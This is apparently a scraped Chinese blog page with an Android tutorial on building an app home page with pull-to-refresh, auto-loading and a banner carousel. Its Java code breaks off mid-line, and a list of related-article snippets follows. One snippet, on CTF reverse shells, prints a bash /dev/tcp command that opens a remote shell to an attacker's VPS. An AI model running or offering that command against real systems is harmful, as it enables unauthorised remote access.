android动态刷新主页,Android手把手教大家制作APP首页(下拉刷新、自动加载)

2023-11-01

一、概述

作为一名三年Android开发经验的程序员,今天和大家一起实战一款APP的首页功能,这个首页在我们平时接触中还是很常见的,虽然页面简单,但是里面涉及的功能点还是挺多的。代码如有不足的还望各路同仁指点一二。

页面中使用的开发库:

整个首页架构使用的是LRecyclerView,包含下拉刷新和自动加载功能

compile 'com.github.jdsjlzx:LRecyclerView:1.3.3'

无限循环轮播图使用的是convenientbanner,效果还是很顺畅的,还可以根据自己的需要修改过渡动画

compile 'com.bigkoo:convenientbanner:2.0.5'

图片加载使用的是glide图片库,里面的方法是自己封装的

网络请求依赖是okhttp,使用的开源库okgo

compile 'com.lzy.net:okgo:2.1.4'

其他的还是九宫格图

compile 'com.lzy.widget:ninegridview:0.2.0'

自动注解butterknife库等等

二、实现效果图

1.首页展示轮播图

f284b5df22ed0a2065d28ea0ca55839a.gif

2.下拉刷新

d21cadf76acbb095fe342fab41ba24e2.gif

3.自动加载

ce1c44cdf2abeab932cbe058d3de41a2.gif

4.cardview水波纹动画

71491ec050819e73b288e6e8c3807150.gif

三、核心代码

LRecyclerView作为主框架,轮播图以及分类网格列表作为header放在index_header.xml布局文件下。

IndexFragment.java

package com.czhappy.commonindexdemo.fragment;

import android.os.Bundle;

import android.support.v4.app.Fragment;

import android.support.v4.view.ViewPager;

import android.support.v7.widget.LinearLayoutManager;

import android.view.LayoutInflater;

import android.view.View;

import android.view.ViewGroup;

import android.widget.AdapterView;

import android.widget.ImageView;

import android.widget.LinearLayout;

import android.widget.TextView;

import com.bigkoo.convenientbanner.ConvenientBanner;

import com.bigkoo.convenientbanner.holder.CBViewHolderCreator;

import com.czhappy.commonindexdemo.KuaiZhiApplication;

import com.czhappy.commonindexdemo.R;

import com.czhappy.commonindexdemo.adapter.CampaignListAdapter;

import com.czhappy.commonindexdemo.adapter.ClassflyListAdapter;

import com.czhappy.commonindexdemo.jsonparse.JSONObject;

import com.czhappy.commonindexdemo.jsonparse.ReflectUtil;

import com.czhappy.commonindexdemo.model.CampaignList;

import com.czhappy.commonindexdemo.model.Classfly;

import com.czhappy.commonindexdemo.model.IndexBanner;

import com.czhappy.commonindexdemo.model.IndexBannerList;

import com.czhappy.commonindexdemo.okhttp.LoadingDialogCallback;

import com.czhappy.commonindexdemo.utils.AccordionTransformer;

import com.czhappy.commonindexdemo.utils.Api;

import com.czhappy.commonindexdemo.utils.NetworkImageHolderView;

import com.czhappy.commonindexdemo.utils.ToastUtil;

import com.czhappy.commonindexdemo.view.GridViewForScrollView;

import com.github.jdsjlzx.interfaces.OnLoadMoreListener;

import com.github.jdsjlzx.interfaces.OnRefreshListener;

import com.github.jdsjlzx.recyclerview.LRecyclerView;

import com.github.jdsjlzx.recyclerview.LRecyclerViewAdapter;

import com.github.jdsjlzx.recyclerview.ProgressStyle;

import com.lzy.okgo.OkGo;

import java.util.ArrayList;

import java.util.List;

import butterknife.BindView;

import butterknife.ButterKnife;

import okhttp3.Call;

import okhttp3.Response;

/**

* Description:

* User: chenzheng

* Date: 2016/9/9 0009

* Time: 17:18

*/

public class IndexFragment extends Fragment implements ViewPager.OnPageChangeListener{

@BindView(R.id.back_iv)

ImageView backIv;

@BindView(R.id.layout_back)

LinearLayout layoutBack;

@BindView(R.id.title_tv)

TextView titleTv;

@BindView(R.id.right_tv)

TextView rightTv;

@BindView(R.id.layout_right)

LinearLayout layoutRight;

@BindView(R.id.campaign_recyclerview)

LRecyclerView mRecyclerView;

private View mView;

private GridViewForScrollView classflyGridview;

private LinearLayout pointGroup;;

private ConvenientBanner convenientBanner;

private TextView bannerTitleTv;;

private List networkImages = new ArrayList();

private int lastPosition = 0;

private CampaignListAdapter campaignListAdapter;

private ClassflyListAdapter classflyListAdapter;

private IndexBannerList indexBannerList;

private CampaignList campaignList;

private LRecyclerViewAdapter mLRecyclerViewAdapter;

public int pageNum = 1;

public int pageSize = 4;

@Override

public View onCreateView(LayoutInflater inflater, ViewGroup container,

Bundle savedInstanceState) {

mView = inflater.inflate(R.layout.fragment_index, container,

false);

ButterKnife.bind(this, mView);

initView();

initClassfly();

return mView;

}

private void initView() {

backIv.setVisibility(View.GONE);

titleTv.setText("快知网");

layoutRight.setVisibility(View.INVISIBLE);

campaignListAdapter = new CampaignListAdapter(getActivity());

mLRecyclerViewAdapter = new LRecyclerViewAdapter(campaignListAdapter);

mRecyclerView.setAdapter(mLRecyclerViewAdapter);

mRecyclerView.setLayoutManager(new LinearLayoutManager(getActivity()));

mRecyclerView.setRefreshProgressStyle(ProgressStyle.LineSpinFadeLoader);

mRecyclerView.setArrowImageView(R.drawable.ic_pulltorefresh_arrow);

mRecyclerView.setLoadingMoreProgressStyle(ProgressStyle.BallSpinFadeLoader);

//add a HeaderView

final View header = LayoutInflater.from(getActivity()).inflate(R.layout.index_header,(ViewGroup)mView.findViewById(android

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

android动态刷新主页,Android手把手教大家制作APP首页(下拉刷新、自动加载) 的相关文章

  • 如何在 Bash 中逐行读取文件

    在编写 Bash 脚本时 有时您会发现自己需要逐行读取文件 例如 您可能有一个文本文件 其中包含应由脚本处理的数据 在本教程中 我们将讨论如何在 Bash 中逐行读取文件 逐行读取文件语法 逐行读取文件的最通用语法如下 while IFS
  • 如何在 CentOS 8 上安装 MySQL

    MySQL是最流行的开源关系数据库管理系统 最新版本的 MySQL 数据库服务器 8 0 版可从默认的 CentOS 8 存储库安装 MySQL 8 0引入了许多新功能和更改 这使得一些应用程序与该版本不兼容 在选择要安装的 MySQL 版
  • 如何在 Python 中删除(移除)文件和目录

    Python 有一些内置模块 允许您删除文件和目录 本教程介绍如何使用以下函数删除文件和目录os pathlib and shutil模块 删除文件 在Python中你可以使用os remove os unlink pathlib Path
  • 如何在CentOS上安装RPM包

    RPM 是 Red Hat 及其衍生产品 例如 CentOS 和 Fedora 使用的打包系统 CentOS 官方存储库包含数千个 RPM 软件包 可以使用yum命令行实用程序 通过启用适当的存储库 可以轻松安装标准 CentOS 存储库中
  • 如何在 Ubuntu 18.04 上安装 MongoDB

    MongoDB 是一个免费的开源文档数据库 它属于 NoSQL 数据库家族 与 MySQL 和 PostgreSQL 等传统的基于表的 SQL 数据库不同 在 MongoDB 中 数据存储在灵活的 类似 JSON字段可能因文档而异的文档 它
  • 如何允许远程连接 MySQL 数据库服务器

    默认情况下 MySQL 服务器仅侦听来自本地主机的连接 这意味着它只能由同一主机上运行的应用程序访问 然而 在某些情况下 需要从远程位置访问MySQL服务器 例如 您可能需要从本地系统或多服务器部署连接到远程 MySQL 服务器 其中应用程
  • 如何在 Debian 10 上安装和使用 FFmpeg

    FFmpeg 是一个用于处理多媒体文件的免费开源工具集合 它包含一组共享的音频和视频库 例如libavcodec libavformat和libavutil 使用 FFmpeg 您可以在各种视频和音频格式之间进行转换 设置采样率 捕获流音频
  • 如何更改 Git 远程 URL

    Git Remote 是一个指针 指向通常托管在远程服务器上的存储库的另一个副本 在某些情况下 例如当远程存储库迁移到另一台主机时 您需要更改远程的 URL 本指南介绍如何更改 Git 远程的 URL 更改 Git 远程的 URL 每个 G
  • 如何在 Debian 10 Linux 上安装 OpenCV

    OpenCV 开源计算机视觉库 是一个开源计算机视觉库 具有 C Python 和 Java 的绑定 它具有广泛的应用 包括医学图像分析 拼接街景图像 监控视频 检测和识别人脸 跟踪移动物体 提取 3D 模型等等 OpenCV可以利用多核处
  • linux下反弹shell

    最近做了几题都是反弹shell 总结一哈 bash bash i gt dev tcp vps ip 端口号 0 gt 1 bash i 生成一个交互式的子进程 表示在Linux后台运行 dev tcp vps ip 端口号 其实是与主机建
  • R语言练习题答案(10)第七章可视化数据挖掘工具Rattle

    关注公众号凡花花的小窝 含有更多更全面的计算机专业编程考研相关知识的文章还有资料 选择题 1 C 2 D 3 A 4 D 5 C 6 A 7 B 8 D 9 B 10 C 代码 7 1 install packages RGtk2 inst
  • C#-Async关键字(异步方法)

    async关键字 异步方法 async关键字是C 特有的 Java没有这玩意 async在C 世界里是上下文关键字 它只有在修饰一个方法的时候才自动被编译器识别为关键字 在代码的其他位置上可以被用作变量名等其他任何用途 async关键字用来
  • [创业之路-46] :动态股权机制 -1- 七步法(流程)

    静态股权分配越来越不适应现在的创业环境了 动态股权思维就是根据公司发展的实际变化来调整 满足合伙人按劳分配的需要 持续激发合伙人的创业热情 动态股权分配有五大优点 公平性 开放性 可量化 可操作 适用广 如何实施动态股权分配 主要有以下七个
  • Delphi下实现全屏快速找图找色

    前言 最近有好几个朋友都在问我找图找色的问题 奇怪 于是乎写了一个专门用于找图找色的单元文件 BitmapData pas 在这个单元文件中我实现了从文件中导入位图 屏幕截图 鼠标指针截图 在图片上查找子图 在图片上查找颜色等功能 在查找过
  • 天池数据集|精品数据集推荐(工业篇)

    数据是人工智能时代重要的生产要素 高质量训练数据对深度学习模型的建立和优化有关键性的作用 建立大规模 高水准的标注数据集 是推动AI科研和技术前进的驱动力 制造业是我国国民经济的主体 推动数字化转型 降本增质提速是当今制造业的发展方向 天池
  • Qt发展历史及其特点简介

    Qt 是一个跨平台的C 应用程序框架 支持Windows Linux Mac OS X Android iOS Windows Phone 嵌入式系统等 也就是说 Qt 可以同时支持桌面应用程序开发 嵌入式开发和移动开发 覆盖了现有的所有主
  • Java基础:string中的compareTo

    public class Test public static void main String args String foo ABC String bar01 ABC System out println foo compareTo b
  • 带有加密功能的 SQLITE QT 插件

    Qt 已经内置了一个 SQLite 数据库 方便我们开发桌面应用 但是这个 SQLite 是官方提供的开源版本 这意味着这个版本的 SQLite 实际是没有加密功能的 对于一般的桌面应用 数据库加密有时是比较重要的 特别是当你需要对所存储的
  • 如何在Visual Studio中自动格式化代码?

    我知道Visual Studio可以自动格式化以使我的方法和循环正确缩进 但是我找不到该设置 1楼 对于Visual Studio 2010 2013 2015 2017 设置文档格式 Ctrl K Ctrl D 然后键入Ctrl K 然后

随机推荐

  • jsoncpp使用

    jsoncpp效率还是很高的 以下代码 将10000行 50列的数据打包 只需1秒 int main Json Value outRoot outRoot clear int i j logwdbg logwdbg Json Value t
  • Wireshark数据抓包分析之UDP协议

    目录 预备知识 1 UDP协议概述 2 什么是UDP协议 3 UDP协议的特点 实验目的 实验环境 实验步骤一 1 配置TCP UDP测试工具 2 配置服务器端 3 配置客户端 4 获取UDP数据包 实验步骤二 1 UDP首部格式 2 分析
  • Win10-64位安装Eclipse历史版本/JDK1.8/配置环境变量

    安装Eclipse的历史版本 满足以下适用 Windows10 64位 需下载Eclipse历史版本 1 下载Eclipse Eclipse官网 点击Download 点击Download Packages 下滑至发现Other Versi
  • 【VHDL】计数器实现2-4-8分频

    计数器实现2 4 8分频 分频器 对较高频率的信号进行分频 得到较低频率的信号 本质是计数器 类似于2 4 8分频的问题有以下两个特点 一 二的指数倍 二 占空比为50 一般的解决方式 定义一个数据 按照标准逻辑位计数 对其最低位 低位 次
  • 数据截断的一个例子

    下面看一个例子 include
  • SpringBoot集成Redisson

    依赖包
  • 深入浅出AXI协议(2)——通道及信号

    一 前言 在之前的文章中 我们主要介绍了什么是AXI协议 AXI协议的特点与优点 然后对于AXI协议非常重要的五通道结构进行了介绍 了解了5个通道各自的作用 本文我们继续AXI协议的学习 我们将讨论5个通道的具体内容和相对应的信号 这一部分
  • YOLOX代码、预测(使用摄像头实时预测)及其添加SE注意力前后的实验结果

    1 代码获取 https github com Le0v1n ml code tree main ObjectDetection YOLOX 如果代码对你有用 请star一下 2 预测 2 1 图片预测 下载权值文件 https githu
  • SprongBoot项目整合Druid实现数据监控功能

    web程序普遍的都会涉及到数据库的操作 为了提高系统的性能 在数据库操作上 几乎千篇一律的使用了数据库连接池技术 数据库连接池有很多选择 c3p dhcp proxool等 druid作为一名后起之秀 凭借其出色的性能 也逐渐印入了大家的眼
  • 服务器网页500错误修复工具,HTTP500错误是什么?如何修复

    500 Internal Server Error是一个非常普通的HTTP状态代码 表示网站的服务器出了点问题 但是服务器不能更准确地说明的问题是什么 您可以通过以下几种常见方式来查看HTTP 500错误 500内部服务器错误 HTTP 5
  • Seaborn中文教程

    Seaborn介绍 Seaborn属于Matplotlib的一个高级接口 为我们进行数据的可视化分析提供了极大的方便 博主是为了入门Kaggle比赛而学习的Seaborn 下面是博主的学习过程 希望可以和大家一起分享 Step 1 安装Se
  • 和月薪5W的阿里程序员聊过后,才知道自己一直在打杂...

    前几天和一个朋友聊面试 他说上个月同时拿到了腾讯和阿里的offer 最后选择了阿里 阿里内部将员工一共分为了14个等级 P6是资深工程师 P7是技术专家 其中P6和P7就是一个分水岭了 P6是最接近P7的不持股员工 P7开始就是持股员工 由
  • vue 使用播放器插件 vue-video-player

    1 安装 cnpm install save vue video player 2 在main js入口文件中引入 import VideoPlayer from vue video player require video js dist
  • 生成timeuuid_UUID生成唯一的16位随机数

    Copyright c 2003 2011 Oracle and or its affiliates All rights reserved packagejava util import java security A class tha
  • 【Windows】Word文档中的Endnote“乱码”

    打开一个Word文档 发现文中用Endnote插入的参考文献全部都乱了 最后找到了症结所在 快捷键 Alt F9 OK了
  • 在telnet下操作memcache详解(操作命令详解)

    在定位问题 测试等时候经常需要对memcache的数据进行一些操作 但是其本身没有自带的客户端 所以只能通过telnet来进行操作 通过telnet连接memcache 复制代码代码如下 telnet 127 0 0 1 11211 mem
  • 使用vim编写C/C++程序

    一 准备工作 1 安装vim 已安装则忽略 sudo apt get install vim 2 安装C的编译器gcc和C 的编译器g 已安装则忽略 sudo apt get install gcc sudo apt get install
  • 用pyhtml2pdf(python)包自动从html生成pdf

    用pyhtml2pdf python 包自动从html生成pdf 1 pyhtml2pdf的使用 代码示例 运行代码需要先安装拓展库 pip install pyhtml2pdf 更多详情 请参见官网 https www cnpython
  • 这些自动化测试框架知识你还不知道?

    这些自动化测试框架知识你还不知道 无论是在自动化测试实践 还是日常交流中 经常听到一个词 框架 之前学习自动化测试的过程中 一直对 框架 这个词知其然不知其所以然 最近看了很多自动化相关的资料 加上自己的一些实践 算是对 框架 有了一些理解
  • android动态刷新主页,Android手把手教大家制作APP首页(下拉刷新、自动加载)

    一 概述 作为一名三年Android开发经验的程序员 今天和大家一起实战一款APP的首页功能 这个首页在我们平时接触中还是很常见的 虽然页面简单 但是里面涉及的功能点还是挺多的 代码如有不足的还望各路同仁指点一二 页面中使用的开发库 整个首